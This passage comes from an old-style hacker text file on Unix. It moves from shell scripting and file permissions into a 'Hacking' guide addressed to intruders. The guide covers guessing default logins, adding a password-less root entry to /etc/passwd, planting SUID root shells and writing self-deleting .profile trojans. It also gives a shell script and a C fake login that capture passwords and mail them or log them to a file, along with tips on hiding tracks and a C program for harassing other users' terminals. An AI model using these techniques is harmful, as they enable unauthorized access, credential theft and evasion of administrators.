- *) Echo "Error! Not a command";;
- esac
-
- The esac marks the end of a case function. It must be after the
- LAST command.
-
- Loops
- -----
-
- Ok, loops. There are two loop functins. the for loops, and the
- repeat.
-
- repeat looks like this: repeat something somethin1 somethin2
- this would repeat a section of your script for each "something".
- say i did this:
- repeat scythian sirhack prophet
-
- I may see "scythian" then sirhack then prophet on my screen.
-
- The for loop is defined as "for variable in something
- do
- ..
- ..
- done"
-
- an example:
- for counter in 1 2 3
- do
- echo $counter
- done
-
- That would print out 1 then 2 then 3.
-
- Using TEST
- ----------
- The format: Test variable option variable
-
- The optios are:
- -eq =
- -ne <> (not equal)
- -gt >
- -lt <
- -ge >=
- -le <=
-
- for strings its: = for equal != for not equal.
-
- If the condition is true, a zero is returned. Watch:
-
- test 3 -eq 3
-
- that would be test 3 = 3, and 0 would be returned.
-
- EXPR
- ----
-
- This is for numeric functions. You cannot simply type in
- echo 4 + 5
- and get an answer most of the time. you must say:
- expr variable [or number] operator variable2 [or number]
- the operators are:
-
- + add
- - subtract
- * multiply
- / divide
- ? - power (on some systems)
-
- example : expr 4 + 5
- var = expr 4 + 5
- var would hold 9.
-
- On some systems, expr sometimes prints out a formula. I mean,
- 22+12 is not the same as 22 + 12. If you said expr 22+12 you
- would see:
- 22+12
- If you did expr 22 + 12 you'd see:
- 34
-
-
- SYSTEM VARIABLES
- ----------------
-
- These are variables used by the shell, and are usually set in the
- system wide .profile [explained later].
- HOME - location of your home directory.
- PS1 - The prompt you are given. usually $ . On BSD its usually &
- PATH - This is the search path for programs. When you type in a program
- to be run, it is not in memory; it must be loaded off disk. Most commands
- are not in Memory like MSDOS. If a program is on the search path, it may
- be executed no matter where you are. If not, you must be in the directory
- where the program is. A path is a set of directories basically, seperated by
- ":"'s. Here is a typical search path:
-
- :/bin:/etc:/usr/lbin:$HOME:
-
- When you tried to execute a program, Unix would look for it in /bin,
- /etc, /usr/lbin, and your home directory, and if its not found, an error is
- spewed out. It searches directories in ORDER of the path. SO if you had a
- program named "sh" in your home directory, and typed in "sh", EVEN if
- you were in your home dir, it would execute the one in /bin. So, you
- must set your paths wisely. Public access Unixes do this for you, but systems
- you may encounter may have no path set.
-
- TERM - This is your terminal type. UNIX has a library of functions called
- "CURSES" which can take advantage of any terminal, provided the escape
- codes are found. You must have your term set to something if you run
- screen oriented programs. The escape codes/names of terms are found
- in a file called TERMCAP. Don't worry about that. just set your term
- to ansi or vt100. CURSES will let you know if it cannot manipulate your
- terminal emulation.
-
-
- -------------------
- The C compiler
- -------------------
-
- This Will be BRIEF. Why? Becuase if you want to learn C, go
- buy a book. I don't have time to write another text file on
- C, for it would be huge. Basically, most executables are programmed
- in C. Source code files on unix are found as filename.c .
- To compile one, type in "cc filename.c". Not all C programs
- will compile, since they may depend on other files not there, or
- are just modules. If you see a think called "makefile" you can
- usually type in just "make" at the command prompt, and something
- will be compiled, or be attempted to compile. When using make or
- CC, it would be wise to use the background operand since
- compiling sometimes takes for ever.
- IE:
- $ cc login.c&
- [1234]
- $
- (The 1234 was the process # it got identified as).
-
-
- _____________________________________________________________________________
-
- ---------------
- The FILE SYSTEM
- ---------------
-
- This is an instrumental part of UNIX. If you do not understand this
- section, you'll never get the hang of hacking Unix, since a lot of Pranks
- you can play, and things you can do to "raise your access" depend on it.
-
- First, Let's start out by talking about the directory structure. It is
- basically a Hiearchy file system, meaning, it starts out at a root directory
- and expands, just as MSDOS, and possibly AmigaDos.
-
- Here is a Directory Tree of sorts: (d) means directory
-
- / (root dir)
- |
- |--------------------|
- bin (d) usr (d)
- ----?--------------------
- | | |
- sirhack(d) scythian (d) prophet (d)
- |
- src (d)
-
- Now, this particular system contains the following directories:
- /
- /bin
- /usr
- /usr/sirhack
- /usr/sirhack/src
- /usr/scythian
- /usr/prophet
-
- Hopefully, you understood that part, and you should. Everything spawns from
- the root directory.
-
- o File Permissions!
- ------------------
-
- Now, this is really the biggie. File Permissions. It is not that hard to
- understand file permissions, but I will explain them deeply anyway.
-
- OK, now you must think of user groups as well as user names. Everyone
- belongs to a group. at the $ prompt, you could type in 'id' to see what
- group you are in. Ok, groups are used to allow people access certain things,
- instead of just having one person controlling/having access to certain files.
- Remember also, that Unix looks at someone's UID to determine access, not
- user name.
-
- Ok. File permissions are not really that complicated. Each file has an owner
- This OWNER is usually the one who creates the file, either by copying a file
- or just by plain editing one. The program CHOWN can be used to give someone
- ownership of a file. Remember that the owner of a file must be the one who
- runs CHOWN, since he is the only one that can change the permissions of a file
- Also, there is a group owner, which is basically the group that you were in
- when the file was created. You would use chgrp to change the group a file is
- in.
-
- Now, Files can have Execute permissions, read permissions, or write permission.
- If you have execute permission, you know that you can just type in the name
- of that program at the command line, and it will execute. If you have read
- permission on a file, you can obviously read the file, or do anything that
- reads the file in, such as copying the file or cat[ing] it (Typing it).
- If you do NOT have access to read a file, you can't do anything that requires
- reading in the file. This is the same respect with write permission. Now,
- all the permissions are arranged into 3 groups. The first is the owner's
- permissions. He may have the permissions set for himself to read and execute
- the file, but not write to it. This would keep him from deleting it.
- The second group is the group permissions. Take an elongated directory
- for an example:
- $ ls -l runme
- r-xrwxr-- sirhack root 10990 March 21 runme
-
- ok. Now, "root" is the groupname this file is in. "sirhack" is the owner.
- Now, if the group named 'root' has access to read, write and execute, they
- could do just that. Say .. Scythian came across the file, and was in the root
- user group. He could read write or execute the file. Now, say datawiz came
- across it, but was in the "users" group. The group permissions would not
- apply to him, meaning he would have no permissions, so he couldn't touch
- the file, right? Sorta. There is a third group of permissions, and this is
- the "other" group. This means that the permissions in the "other" group
- apply to everyone but the owner, and the users in the same group as the file.
- Look at the directory entry above. the r-x-rwxr-- is the permissions line.
- The first three characters are the permissions for the owner (r-x). The
- "r-x" translates to "Read and execute permissions, but no write permissions"
- the second set of three, r-xRWXr-- (the ones in capital letters) are the group
- permissions. Those three characters mean "Read, write, and execution allowed"
- The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
- "Reading allowed, but nothing else". A directory would look something like
- this:
- $ ls -l
- drwxr-xr-x sirhack root 342 March 11 src
-
- A directory has a "d" at the beggining of the permissions line. Now, the
- owner of the directory (sirhack) can read from the directory, write in the
- directory, and execute programs from the directory. The root group and every-
- one else can only read from the directory, and execute off the directory.
- So, If I changed the directory to be executable only, this is
- what it would look like:
- $ chmod go-r
- $ ls
- drwx--x--x sirhack root 342 March 11 src
-
- Now, if someone went into the directory besides "sirhack", they could only
- execute programs in the directory. If they did an "ls" to get a directory
- of src, when they were inside src, it would say "cannot read directory".
- If there is a file that is readable in the directory, but the directory is
- not readable, it is sometimes possible to read the file anyway.
-
- If you do not have execute permissions in a directory, you won't be able to
- execute anything in the directory, most of the time.
-
- _____________________________________________________________________________
-
- --------------
- Hacking:
- --------------
- The first step in hacking a UNIX is to get into the operating system
- by finding a valid account/password. The object of hacking is usually to
- get root (full privileges), so if you're lucky enough to get in as root,
- you need not read anymore of this hacking phile , and get into the
- "Having Fun" Section. Hacking can also be just to get other's accounts also.
-
- Getting IN
- ----------
- The first thing to do is to GET IN to the Unix. I mean, get past
- the login prompt. That is the very first thing. When you come across a UNIX,
- sometimes it will identify itself by saying something like,
- "Young INC. Company UNIX"
-
- or Just
- "Young Inc. Please login"
-
- Here is where you try the defaults I listed. If you get in with those
- you can get into the more advanced hacking (getting root). If you do something
- wrong at login, you'll get the message
- "login incorrect"
- This was meant to confuse hackers, or keep the wondering. Why?
- Well, you don't know if you've enterred an account that does not exist, or one
- that does exist, and got the wrong password. If you login as root and it says
- "Not on Console", you have a problem. You have to login as someone else,
- and use SU to become root.
-
- Now, this is where you have to think. If you cannot get in with a
- default, you are obviously going to have to find something else to
- login as. Some systems provide a good way to do this by allowing the use
- of command logins. These are ones which simply execute a command, then
- logoff. However, the commands they execute are usually useful. For instance
- there are three common command logins that tell you who is online at the
- present time. They are:
- who
- rwho
- finger
-
- If you ever successfully get one of these to work, you can write down
- the usernames of those online, and try to logon as them. Lots of unsuspecting
- users use there login name as their password. For instance, the user
- "bob" may have a password named "bob" or "bob1". This, as you know, is
- not smart, but they don't expect a hacking spree to be carried out on
- them. They merely want to be able to login fast.
- If a command login does not exist, or is not useful at all, you will
- have to brainstorm. A good thing to try is to use the name of the unix
- that it is identified as. For instance, Young INC's Unix may have an account
- named "young"
- Young, INC. Please Login.
- login: young
- UNIX SYSTEM V REL 3.2
- (c)1984 AT&T..
- ..
- ..
- ..
-
- Some unixes have an account open named "test". This is also a default,
- but surprisingly enough, it is sometimes left open. It is good to try to
- use it. Remember, brainstorming is the key to a unix that has no apparent
- defaults open. Think of things that may go along with the Unix. type
- in stuff like "info", "password", "dial", "bbs" and other things that
- may pertain to the system. "att" is present on some machines also.
-
- ONCE INSIDE -- SPECIAL FILES
- ----------------------------
- There are several files that are very important to the UNIX
- environment. They are as follows:
-
- /etc/passwd - This is probably the most important file on a Unix. Why?
- well, basically, it holds the valid usernames/passwords.
- This is important since only those listed in the passwd
- file can login, and even then some can't (will explain).
- The format for the passwordfile is this:
-
- username:password:UserID:GroupID:description(or real name):homedir:shell
-
- Here are two sample entries:
-
- sirhack:89fGc%?7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
- demo::101:100:Test Account:/usr/demo:/usr/sh
-
- In the first line, sirhack is a valid user. The second
- field, however, is supposed to be a password, right? Well,
- it is, but it's encrypted with the DES encryption standard.
- the part that says "&a,Ty" may include a date after the comma
- (Ty) that tells unix when the password expires. Yes, the
- date is encrypted into two alphanumeric characters (Ty).
-
- In the Second example, the demo account has no password.
- so at Login, you could type in:
-
- login: demo
- UNIX system V
- (c)1984 AT&T
- ..
- ..
-
- But with sirhack, you'd have to enter a password. Now,
- the password file is great, since a lot of times, you;ll
- be able to browse through it to look for unpassworded
- accounts. Remember that some accounts can be restricted
- from logging in, as such:
-
- bin:*:2:2:binaccount:/bin:/bin/sh
-
- The '*' means you won't be able to login with it. Your
- only hope would be to run an SUID shell (explained later).
-
- A note about the DES encryption: each unix makes its own unique
- "keyword" to base encryption off of. Most of the time its just random letters
- and numbers. Its chosen at installation time by the operating system.
- Now, decrypting DES encrypted things ain't easy. Its pretty much
- impossible. Especially decrypting the password file (decrypting the password
- field within the password file to be exact). Always beware a hacker who
- says he decrypted a password file. He's full of shit. Passwords are
- never decrypted on unix, but rather, a system call is made to a function
- called "crypt" from within the C language, and the string you enter as
- the password gets encrypted, and compared to the encrypted password. If
- they match, you're in. Now, there are password hackers, but they donot
- decrypt the password file, but rather, encrypt words from a dictionary
- and try them against every account (by crypting/comparing) until it finds
- a match (later on!). Remember, few, if none, have decrypted the password
- file successfuly.
-
- /etc/group - This file contains The valid groups. The group file is usually
- defined as this:
- groupname:password:groupid:users in group
-
- Once again, passwords are encrypted here too. If you see a blank
- in the password entry you can become part of that group by
- using the utility "newgrp". Now, there are some cases in
- which even groups with no password will allow only certain
- users to be assigned to the group via the newgrp command. Usually,
- if the last field is left blank, that means any user can use newgrp
- to get that group's access. Otherwise, only the users specified in
- the last field can enter the group via newgrp.
-
- Newgrp is just a program that will change your group current
- group id you are logged on under to the one you specify. The
- syntax for it is: newgrp groupname
- Now, if you find a group un passworded, and use newgrp to
- enter it, and it asks for a password, you are not allowed to use
- the group. I will explain this further in The "SU & Newgrp" section.
-
- /etc/hosts - this file contains a list of hosts it is connected to thru
- a hardware network (like an x.25 link or something), or sometimes
- just thru UUCP. This is a good file when you are hacking a
- large network, since it tells you systems you can use with
- rsh (Remote Shell, not restricted shell), rlogin, and telnet,
- as well as other ethernet/x.25 link programs.
-
- /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
- Several directories, but it is usually in /usr/adm. This file
- is what it sounds like. Its a log file, for the program SU.
- What it is for is to keep a record of who uses SU and when.
- whenever you use SU, your best bet would be to edit this file
- if possible, and I'll tell you how and why in the section
- about using "su".
-
- /usr/adm/loginlog
- or /usr/adm/acct/loginlog -
- This is a log file, keeping track of the logins.
- Its purpose is merely for accounting and "security review". Really,
- sometimes this file is never found, since a lot of systems keep the
- logging off.
-
- /usr/adm/errlog
- or errlog - This is the error log. It could be located anywhere. It
- keeps track of all serious and even not so serious errors.
- Usually, it will contain an error code, then a situation.
- the error code can be from 1-10, the higher the number, the
- worse the error. Error code 6 is usually used when you try
- to hack. "login" logs your attempt in errlog with error code
- 6. Error code 10 means, in a nutshell, "SYSTEM CRASH".
-
- /usr/adm/culog - This file contains entries that tell when you used cu,
- where you called and so forth. Another security thing.
-
- /usr/mail/<userLogin> - this is where the program "mail" stores its mail.
- to read a particular mailbox, so they are called,
- you must be that user, in the user group "mail" or
- root. each mailbox is just a name. for instance,
- if my login was "sirhack" my mail file would usually
- be: /usr/mail/sirhack
-
- /usr/lib/cron/crontabs - This contains the instructions for cron, usually.
- Will get into this later.
-
- /etc/shadow - A "shadowed" password file. Will talk about this later.
-
-
- -- The BIN account --
-
- Well, right now, I'd like to take a moment to talk about the account
- "bin". While it is only a user level account, it is very powerful. It is
- the owner of most of the files, and on most systems, it owns /etc/passwd,
- THE most important file on a unix. See, the bin account owns most of the
- "bin" (binary) files, as well as others used by the binary files, such
- as login. Now, knowing what you know about file permissions, if bin owns
- the passwd file, you can edit passwd and add a root entry for yourself.
- You could do this via the edit command:
- $ ed passwd
- 10999 [The size of passwd varies]
- * a
- sirhak::0:0:Mr. Hackalot:/:/bin/sh
- {control-d}
- * w
- * q
- $
- Then, you could say: exec login, then you could login as sirhack, and
- you'd be root.
-
- /\/\/\/\/\/\/\/\/
- Hacking..........
- /\/\/\/\/\/\/\/\/
-
- --------------
- Account Adding
- --------------
-
- There are other programs that will add users to the system, instead
- of ed. But most of these programs will NOT allow a root level user to be
- added, or anything less than a UID of 100. One of these programs is
- named "adduser". Now, the reason I have stuck this little section in, is
- for those who want to use a unix for something useful. Say you want a
- "mailing address". If the unix has uucp on it, or is a big college,
- chances are, it will do mail transfers. You'll have to test the unix
- by trying to send mail to a friend somewhere, or just mailing yourself.
- If the mailer is identified as "smail" when you mail yourself (the program
- name will be imbedded in the message) that probably means that the system
- will send out UUCP mail. This is a good way to keep in contact with people.
- Now, this is why you'd want a semi-permanent account. The way to achieve this
- is by adding an account similar to those already on the system. If all the
- user-level accounts (UID >= 100) are three letter abbriviations, say
- "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
- via adduser, and make a name like sally jane marshall or something
- (they don't expect hackers to put in female names) and have the account
- named sjm. See, in the account description (like Mr. Hackalot above), that
- is where the real name is usually stored. So, sjm might look like this:
- sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
- Of course, you will password protect this account, right?
- Also, group id's don't have to be above 100, but you must put the account
- into one that exists. Now, once you login with this account, the first
- thing you'd want to do is execute "passwd" to set a password up. If you
- don't, chances are someone else 'll do it for you (Then you'll be SOL).
-
- -------------------
- Set The User ID
- -------------------
-
- This is porbably one of the most used schemes. Setting up an "UID-
- Shell". What does this mean? Well, it basically means you are going
- to set the user-bit on a program. The program most commonly used is
- a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
- to whatever the owner of the file does. A UID shell sets the user-ID of
- the person who executes it to the owner of the program. So if root
- owns a uid shell, then you become root when you run it. This is an
- alternate way to become root.
-
- Say you get in and modify the passwd file and make a root level
- account unpassworded, so you can drop in. Of course, you almost HAVE to
- get rid of that account or else it WILL be noticed eventually. So, what
- you would do is set up a regular user account for yourself, then, make
- a uid shell. Usually you would use /bin/sh to do it. After adding
- the regular user to the passwd file, and setting up his home directory,
- you could do something like this:
- (assume you set up the account: shk)
- # cp /bin/sh /usr/shk/runme
- # chmod a+s /usr/shk/runme
-
- Thats all there would be to it. When you logged in as shk, you could just
- type in:
-
- $ runme
- #
-
- See? You'd then be root. Here is a thing to do:
-
- $ id
- uid=104(shk) gid=50(user)
-
- $ runme
- # id
- uid=104(shk) gid=50(user) euid=0(root)
- #
-
- The euid is the "effective" user ID. UID-shells only set the effective
- userid, not the real user-id. But, the effective user id over-rides the
- real user id. Now, you can, if you wanted to just be annoying, make
- the utilities suid to root. What do I mean? For instance, make 'ls'
- a root 'shell'. :
-
- # chmod a+s /bin/ls
- # exit
- $ ls -l /usr/fred
- ..
- ......
- etc crap
-
- Ls would then be able to pry into ANY directory. If you did the same to
- "cat" you could view any file. If you did it to rm, you could delete any
- file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
- the system (usually).
-
-
- How do I get root?
- ------------------
-
- Good question indeed. To make a program set the user-id shell to root,
- you have to be root, unless you're lucky. What do I mean? Well, say
- you find a program that sets the user-id to root. If you have access
- to write to that file, guess what? you can copy over it, but keep
- the uid bit set. So, say you see that the program chsh is setting
- the user id too root. You can copy /bin/sh over it.
-
- $ ls -l
- rwsrwsrws root other 10999 Jan 4 chsh
- $ cp /bin/sh chsh
- $ chsh
- #
-
- See? That is just one way. There are others, which I will now talk
- about.
-
- More on setting the UID
- -----------------------
-
- Now, the generic form for making a program set the User-ID bit
- is to use this command:
-
- chmod a+s file
-
- Where 'file' is a valid existing file. Now, only those who own the file
- can set the user ID bit. Remember, anything YOU create, YOU own, so if
- you copy th /bin/sh, the one you are logged in as owns it, or IF the
- UID is set to something else, the New UID owns the file. This brings
- me to BAD file permissions.
-
-
-
- II. HACKING : Bad Directory Permissions
-
- Now, what do I mean for bad directory permissions? Well, look for
- files that YOU can write to, and above all, DIRECTORIES you can write to.
- If you have write permissions on a file, you can modify it. Now, this comes
- in handy when wanting to steal someone's access. If you can write to
- a user's .profile, you are in business. You can have that user's .profile
- create a suid shell for you to run when You next logon after the user.
- If the .profile is writable to you, you can do this:
-
- $ ed .profile
- [some number will be here]
- ? a
- cp /bin/sh .runme
- chmod a+x .runme
- chmod a+s .runme
- (control-d)
- ? w
- [new filesize will be shown]
- ? q
- $
-
- Now, when the user next logs on, the .profile will create .runme which
- will set your ID to the user whose .profile you changed. Ideally, you'll
- go back in and zap those lines after the suid is created, and you'll create
- a suid somewhere else, and delete the one in his dir. The .runme will
- not appear in the user's REGULAR directory list, it will only show up
- if he does "ls -a" (or ls with a -a combination), because, the '.' makes
- a file hidden.
-
- The above was a TROJAN HORSE, which is one of the most widely used/abused
- method of gaining more power on a unix. The above could be done in C via
- the system() command, or by just plain using open(), chmod(), and the like.
- * Remember to check and see if the root user's profile is writeable *
- * it is located at /.profile (usually) *
-
-
- The BEST thing that could happen is to find a user's directory writeable
- by you. Why? well, you could replace all the files in the directory
- with your own devious scripts, or C trojans. Even if a file is not
- writeable by you, you can still overwrite it by deleteing it. If you
- can read various files, such as the user's .profile, you can make a
- self deleting trojan as so:
-
- $ cp .profile temp.pro
- $ ed .profile
- 1234
- ? a
- cp /bin/sh .runme
- chmod a+x .runme
- chmod a+s .runme
- mv temp.pro .profile
- (control-d)
- ? w
- [another number]
- ? q
- $ chown that_user temp.pro
- What happens is that you make a copy of the .profile before you change it.
- Then, you change the original. When he runs it, the steps are made, then
- the original version is placed over the current, so if the idiot looks in
- his .profile, he won't see anything out of the ordinary, except that he
- could notice in a long listing that the change date is very recent, but
- most users are not paranoid enough to do extensive checks on their files,
- except sysadm files (such as passwd).
-
- Now, remember, even though you can write to a dir, you may not be able
- to write to a file without deleting it. If you do not have write perms
- for that file, you'll have to delete it and write something in its place
- (put a file with the same name there). The most important thing to remember
- if you have to delete a .profile is to CHANGE the OWNER back after you
- construct a new one (hehe) for that user. He could easily notice that his
- .profile was changed and he'll know who did it. YES, you can change the
- owner to someone else besides yourself and the original owner (as to throw
- him off), but this is not wise as keeping access usually relies on the fact
- that they don't know you are around.
-
- You can easily change cron files if you can write to them. I'm not going
- to go into detail about cronfile formats here, just find the crontab files
- and modify them to create a shell somewhere as root every once in a while,
- and set the user-id.
-
- III. Trojan Horses on Detached terminals.
- Basically this: You can send garbage to a user's screen and
- mess him up bad enough to force a logoff, creating a detached
- account. Then you can execute a trojan horse off that terminal in
- place of login or something, so the next one who calls can hit the
- trojan horse. This USUALLY takes the form of a fake login and
- write the username/pw entererred to disk.
-
- Now, there are other trojan horses available for you to write. Now,
- don't go thinking about a virus, for they don't work unless ROOT runs
- them. Anyway, a common trjan would be a shell script to get the
- password, and mail it to you. Now, you can replace the code for
- the self deleting trojan with one saying something like:
- echo "login: \c"
- read lgin
- echo off (works on some systems)
- (if above not available...: stty -noecho)
- echo "Password:\c"
- read pw
- echo on
- echo "Login: $lgin - Pword: $pw" | mail you
-
- Now, the best way to use this is to put it in a seperate script file
- so it can be deleted as part of the self deleting trojan. A quick
- modification, removing the "login: " and leaving the password
- may have it look like SU, so you can get the root password. But
- make sure the program deletes itself. Here is a sample trojan
- login in C:
-
- #include <stdio.h>
- /* Get the necessary defs.. */
- main()
- {
- char *name[80];
- char *pw[20];
- FILE *strm;
- printf("login: ");
- gets(name);
- pw = getpass("Password:");
- strm = fopen("/WhereEver/Whateverfile","a");
- fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
- fclose(strm);
- /* put some kind of error below... or something... */
- printf("Bus Error - Core Dumped\n");
- exit(1);
- }
-
- The program gets the login, and the password, and appends it to
- a file (/wherever/whateverfile), and creates the file if it can,
- and if its not there. That is just an example. Network Annoyances
- come later.
-
- IV. Odd systems
-
- There may be systems you can log in to with no problem, and find some
- slack menu, database, or word processor as your shell, with no way to the
- command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
- let you login as root, but give you a menu which will allow you to add an
- account. However, ones that do this usually have some purchased software
- package running, and the people who made the software KNOW that the people
- who bought it are idiots, and the thing will sometimes only allow you to
- add accounts with user-id 100 or greater, with their special menushell as
- a shell. You probably won't get to pick the shell, the program will probably
- stick one on the user you created which is very limiting. HOWEVER, sometimes
- you can edit accounts, and it will list accounts you can edit on the screen.
- HOWEVER, these programs usually only list those with UIDS > 100 so you don't
- edit the good accounts, however, they donot stop you from editing an account
- with a UID < 100. The "editing" usually only involves changing the password
- on the account. If an account has a * for a password, the standard passwd
- program which changes programs, will say no pw exists, and will ask you to
- enter one. (wallah! You have just freed an account for yourself. Usually
- bin and sys have a * for a password). If one exists you'll have to enter
- the old Password (I hope you know it!) for that account. Then, you are
- in the same boat as before. (BTW -- These wierd systems are usually
- Xenix/386, Xenix/286, or Altos/286)
- With word processors, usually you can select the load command,
- and when the word processor prompts for a file, you can select the passwd
- file, to look for open accounts, or at least valid ones to hack. An example
- would be the informix system. You can get a word processor with that such
- as Samna word, or something, and those Lamers will not protect against
- shit like that. Why? The Passwd file HAS to be readable by all for the most
- part, so each program can "stat" you. However, word processors could be made
- to restrict editing to a directory, or set of directories. Here is an
- example:
-
- $ id
- uid=100(sirhack) gid=100(users)
- $ sword
- (word processor comes up)
- (select LOAD A FILE)
- <Edit File>: /etc/passwd
- <Loading..>
- (you see: )
- root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
- sirhack:dld!k%%?%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
- datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
- ...
-
- Now I have found an account to take over! "datawiz" will get me in with no
- trouble, then I can change his password, which he will not like at all.
- Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
- of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
- will menu drive all the important shit, even creating users, but you must
- have ansi or something.
-
- You can usually tell when you'll get a menu. Sometimes on UNIX
- SYSTEM V, when it says TERM = (termtype), and is waiting for
- you to press return or whatever, you will probably get a menu.. ack.
-
- V. Shadowed Password files
- Not much to say about this. all it is, is when every password field
- in the password file has an "x" or just a single character. What
- that does is screw you, becuase you cannot read the shadowed password
- file, only root can, and it contains all the passwords, so you will
- not know what accounts have no passwords, etc.
-
- There are a lot of other schemes for hacking unix, lots of others, from
- writing assembly code that modifies the PCB through self-changing code which
- the interrupt handler doesn't catch, and things like that. However, I do
- not want to give away everything, and this was not meant for advanced Unix
- Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
- assembly language or anything. Now I will Talk about Internet.
-
-
-
- --->>> InterNet <<<---
- Why do I want to talk about InterNet? Well, because it is a prime
- example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
- Now, mainly you will find BSD systems off of the Internet, or SunOS, for
- they are the most common. They may not be when System V, Rel 4.0, Version
- 2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
- from one computer to another once you are logged in. What happens is
- EACH system has a "yello page password file". Better known as yppasswd.
- If you look in there, and see blank passwords you can use rsh, rlogin, etc..
- to slip into that system. One system in particular I came across had a
- a yppasswd file where *300* users had blank passwords in the Yellow Pages.
- Once I got in on the "test" account, ALL I had to do was select who I wanted
- to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
- the system I was already on, through TCP/IP. However, when you do this,
- remember that the yppasswd only pertains to the system you are on at
- the time. To find accounts, you could find the yppasswd file and do:
-
- % cat yppasswd | grep ::
-
- Or, if you can't find yppasswd..
-
- % ypcat passwd | grep ::
-
- On ONE system (which will remain confidential), I found the DAEMON account
- left open in the yppasswd file. Not bad. Anyway, through one system
- on the internet, you can reach many. Just use rsh, or rlogin, and look
- in the file: /etc/hosts for valid sites which you can reach. If you get
- on to a system, and rlogin to somewhere else, and it asks for a password,
- that just means one of two things:
-
- A. Your account that you have hacked on the one computer is on the target
- computer as well. Try to use the same password (if any) you found the
- hacked account to have. If it is a default, then it is definitly on the
- other system, but good luck...
-
- B. rlogin/rsh passed your current username along to the remote system, so it
- was like typing in your login at a "login: " prompt. You may not exist on
- the other machine. Try "rlogin -l login_name", or rlogin -n name..
- sometimes, you can execute "rwho" on another machine, and get a valid
- account.
-
- Some notes on Internet servers. There are "GATEWAYS" that you can get into
- that will allow access to MANY internet sites. They are mostly run off
- a modified GL/1 or GS/1. No big deal. They have help files. However,
- you can get a "privilged" access on them, which will give you CONTROL of
- the gateway.. You can shut it down, remove systems from the Internet, etc..
- When you request to become privileged, it will ask for a password. There is
- a default. The default is "system". I have come across *5* gateways with
- the default password. Then again, DECNET has the same password, and I have
- come across 100+ of those with the default privileged password. CERT Sucks.
- a Gateway that led to APPLE.COM had the default password. Anyone could
- have removed apple.com from the internet. Be advised that there are many
- networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
- University networks.
-
- --** Having Fun **--
-
- Now, if nothing else, you should atleast have some fun. No, I do not mean
- go trashing hardrives, or unlinking directories to take up inodes, I mean
- play with online users. There are many things to do. Re-direct output
- to them is the biggie. Here is an example:
- $ who
- loozer tty1
- sirhack tty2
- $ banner You Suck >/dev/tty1
- $
- That sent the output to loozer. The TTY1 is where I/O is being performed
- to his terminal (usually a modem if it is a TTY). You can repetitiously
- banner him with a do while statement in shell, causing him to logoff. Or
- you can get sly, and just screw with him. Observe this C program:
-
- #include <stdio.h>
- #include <fcntl.h>
- #include <string.h>
-
- main(argc,argument)
- int argc;
- char *argument[];
- {
- int handle;
- char *pstr,*olm[80];
- char *devstr = "/dev/";
- int acnt = 2;
- FILE *strm;
- pstr = "";
- if (argc == 1) {
- printf("OL (OneLiner) Version 1.00 \n");
- printf("By Sir Hackalot [PHAZE]\n");
- printf("\nSyntax: ol tty message\n");
- printf("Example: ol tty01 You suck\n");
- exit(1);
- }
- printf("OL (OneLiner) Version 1.0\n");
- printf("By Sir Hackalot [PHAZE]\n");
- if (argc == 2) {
- strcpy(olm,"");
- ? printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
- printf("Enter one Here => ");
- gets(olm);
- }
- strcpy(pstr,"");
- strcat(pstr,devstr);
- strcat(pstr,argument[1]);
- printf("Sending to: [%s]\n",pstr);
- strm = fopen(pstr,"a");
- if (strm == NULL) {
- printf("Error writing to: %s\n",pstr);
- printf("Cause: No Write Perms?\n");
- exit(2);
- }
- if (argc == 2) {
- if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
- (%s): \n",logname());
- fprintf(strm,"%s\n",olm);
- fclose(strm);
- printf("Message Sent.\n");
- exit(0);
- }
- if (argc > 2) {
- if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
- (%s):\n",logname());
- while (acnt <= argc - 1) {
- fprintf(strm,"%s ",argument[acnt]);
- acnt++;
- }
- fclose(strm);
- printf("Message sent!\n");
- exit(0);
- }
- }
-
- What the above does is send one line of text to a device writeable by you
- in /dev. If you try it on a user named "sirhack" it will notify sirhack
- of what you are doing. You can supply an argument at the command line, or
- leave a blank message, then it will prompt for one. You MUST supply a
- Terminal. Also, if you want to use ?, or *, or (), or [], you must not
- supply a message at the command line, wait till it prompts you. Example:
-
- $ ol tty1 You Suck!
- OL (OneLiner) Version 1.00
- by Sir Hackalot [PHAZE]
- Sending to: [/dev/tty1]
- Message Sent!
- $
- Or..
- $ ol tty1
- OL (OneLiner) Version 1.00
- by Sir Hackalot [PHAZE]
- Dummy! You Forgot to Supply a ONE LINE MESSAGE!
- Enter one here => Loozer! Logoff (NOW)!! ?G?G
- Sending to: [/dev/tty1]
- Message Sent!
- $
-
- You can even use it to fake messages from root. Here is another:
-
-
- /*
- * Hose another user
- */
-
- #include <stdio.h>
- #include <sys/types.h>
- #include <sys/stat.h>
- #include <signal.h>
- #include <utmp.h>
- #include <time.h>
- #include <termio.h>
- #include <sys/utsname.h>
-
- #define NMAX sizeof(ubuf.ut_name)
-
- struct utmp ubuf;
- struct termio oldmode, mode;
- struct utsname name;
- int yn;
- int loop = 0;
- char *realme[50] = "Unknown";
- char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
- char *histtya, *ttyname(), *strrchr(), *getenv();
- int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
- FILE *tf;
-
- main(argc, argv)
- int argc;
- char *argv[];
- {
- register FILE *uf;
- char c1, lastc;
- int goodtty = 0;
- long clock = time((long *) 0);
- struct tm *localtime();
- struct tm *localclock = localtime( &clock );
